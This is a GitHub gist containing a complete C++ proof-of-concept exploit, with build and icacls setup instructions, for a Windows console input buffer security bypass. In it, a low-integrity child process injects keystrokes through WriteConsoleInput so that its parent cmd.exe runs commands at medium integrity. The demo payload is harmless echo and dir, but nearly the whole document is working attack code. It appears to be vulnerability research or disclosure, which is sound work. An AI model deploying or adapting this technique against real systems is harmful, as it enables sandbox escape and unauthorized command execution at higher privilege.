Skip to content

Instantly share code, notes, and snippets.

@masthoon
Last active November 29, 2023 14:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save masthoon/85fab432527329f17a040b311fc1f2a2 to your computer and use it in GitHub Desktop.
Save masthoon/85fab432527329f17a040b311fc1f2a2 to your computer and use it in GitHub Desktop.
Console Input Buffer security
/*
MiniPoc for console buffer security bypass
Instructions
- Compile with x64 Native Tools Command Prompt for VS 2019
* cl /Zi /std:c++latest minipoc.cpp
- Copy executable and apply Low Integrity directly to the file
* copy minipoc.exe minipoclow.exe
* icacls minipoclow.exe /setintegritylevel Low
(/Zi for pdb generation)
*/
#include <Windows.h>
#include <Winternl.h>
#include <psapi.h>
#include <memory>
#include <array>
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "User32.lib")
enum IntegrityLevel {
INTEGRITY_UNKNOWN,
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
};
HANDLE CreateCurrentProcessToken() {
HANDLE process_token = nullptr;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &process_token);
return process_token;
}
IntegrityLevel GetCurrentProcessIntegrityLevel() {
HANDLE process_token = CreateCurrentProcessToken();
DWORD token_info_length = 0;
if (::GetTokenInformation(process_token, TokenIntegrityLevel,
nullptr, 0, &token_info_length) ||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
return INTEGRITY_UNKNOWN;
}
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
TOKEN_MANDATORY_LABEL* token_label =
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
if (!::GetTokenInformation(process_token, TokenIntegrityLevel,
token_label, token_info_length,
&token_info_length)) {
return INTEGRITY_UNKNOWN;
}
DWORD integrity_level = *::GetSidSubAuthority(
token_label->Label.Sid,
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
1));
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
return UNTRUSTED_INTEGRITY;
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
return LOW_INTEGRITY;
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
return MEDIUM_INTEGRITY;
}
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
return HIGH_INTEGRITY;
return INTEGRITY_UNKNOWN;
}
static int IsParentProcessExplorer() {
CHAR Buffer[MAX_PATH] = { };
PROCESS_BASIC_INFORMATION processBasicInfo = { };
ULONG ulSize = 0;
NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &processBasicInfo, sizeof(processBasicInfo), &ulSize);
HANDLE parent = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, reinterpret_cast<DWORD>(processBasicInfo.Reserved3));
if (parent) {
GetModuleFileNameExA(parent, 0, Buffer, MAX_PATH);
if (strstr(Buffer, "explorer.exe")) {
return 1;
}
}
return 0;
}
static void ExitIfLowSpawnedMedium() {
CHAR Buffer[MAX_PATH];
GetModuleFileNameExA(GetCurrentProcess(), 0, Buffer, MAX_PATH);
if (strstr(Buffer, "low.exe")) {
printf("Exiting because %s was spawned with Medium IL, please run icacls command\n", Buffer);
ExitProcess(1);
}
}
static void WriteConsoleInputWrapper(LPCWSTR str, DWORD length)
{
if(!str || !length) return;
INPUT_RECORD *p, *buf;
DWORD i = 0;
p = buf = new INPUT_RECORD[ length ];
for( ; i < length ; i++, p++) {
p->EventType = KEY_EVENT;
p->Event.KeyEvent.bKeyDown = TRUE;
p->Event.KeyEvent.wRepeatCount = 1;
p->Event.KeyEvent.wVirtualKeyCode = 0;
p->Event.KeyEvent.wVirtualScanCode = 0;
p->Event.KeyEvent.uChar.UnicodeChar = 0;
p->Event.KeyEvent.dwControlKeyState = 0;
if(*str == '\r') {
str++;
length--;
}
if(*str == '\n') {
p->Event.KeyEvent.wVirtualKeyCode = VK_RETURN;
str++;
} else {
p->Event.KeyEvent.uChar.UnicodeChar = *str++;
}
}
WriteConsoleInput(GetStdHandle(STD_INPUT_HANDLE), buf, length, &length);
delete [] buf;
}
static void SendEnterToConsoleInput()
{
DWORD dwTmp;
INPUT_RECORD ir[2];
ir[0].EventType = KEY_EVENT;
ir[0].Event.KeyEvent.bKeyDown = TRUE;
ir[0].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY ;
ir[0].Event.KeyEvent.uChar.AsciiChar = VK_RETURN;
ir[0].Event.KeyEvent.wRepeatCount = 1;
ir[0].Event.KeyEvent.wVirtualKeyCode = VK_RETURN;
ir[0].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0);
ir[1].EventType = KEY_EVENT;
ir[1].Event.KeyEvent.bKeyDown = FALSE;
ir[1].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY ;
ir[1].Event.KeyEvent.uChar.AsciiChar = VK_RETURN;
ir[1].Event.KeyEvent.wRepeatCount = 1;
ir[1].Event.KeyEvent.wVirtualKeyCode = VkKeyScan(VK_RETURN);
ir[1].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0);
WriteConsoleInput(GetStdHandle(STD_INPUT_HANDLE), ir, 2, & dwTmp );
}
int main() {
HANDLE hProcess = 0;
STARTUPINFOA startupInfo = { .cb = sizeof(STARTUPINFOA) };
PROCESS_INFORMATION procInfo = { };
IntegrityLevel il = GetCurrentProcessIntegrityLevel();
if (il == MEDIUM_INTEGRITY) {
// Sanity check if low process was spawned with Medium IL
ExitIfLowSpawnedMedium();
if (IsParentProcessExplorer()) {
printf("Please execute me in a cmd.exe process to demonstrate the command injection\n");
getc(stdin);
ExitProcess(1);
}
printf("[MEDIUM] Running as Medium Integrity, spawning low child\n");
// Create low child
printf("[MEDIUM] Spawning child\n");
CreateProcessA("minipoclow.exe", nullptr, nullptr, nullptr, true /* must inherit console handles*/, 0, nullptr, nullptr, &startupInfo, &procInfo);
} else if (il == LOW_INTEGRITY) {
Sleep(500); // Wait for parent to exit
printf("[LOW] Running as Low Integrity, we can access output\n");
Sleep(500); // Wait
WriteConsoleInputWrapper(L"echo I SHOULD NOT BE ABLE TO EXECUTE && dir", 43);
SendEnterToConsoleInput();
Sleep(500); // Wait
printf("\n[LOW] Child should have sent the input payload\n");
} else {
printf("Please run this as medium integrity !\n");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment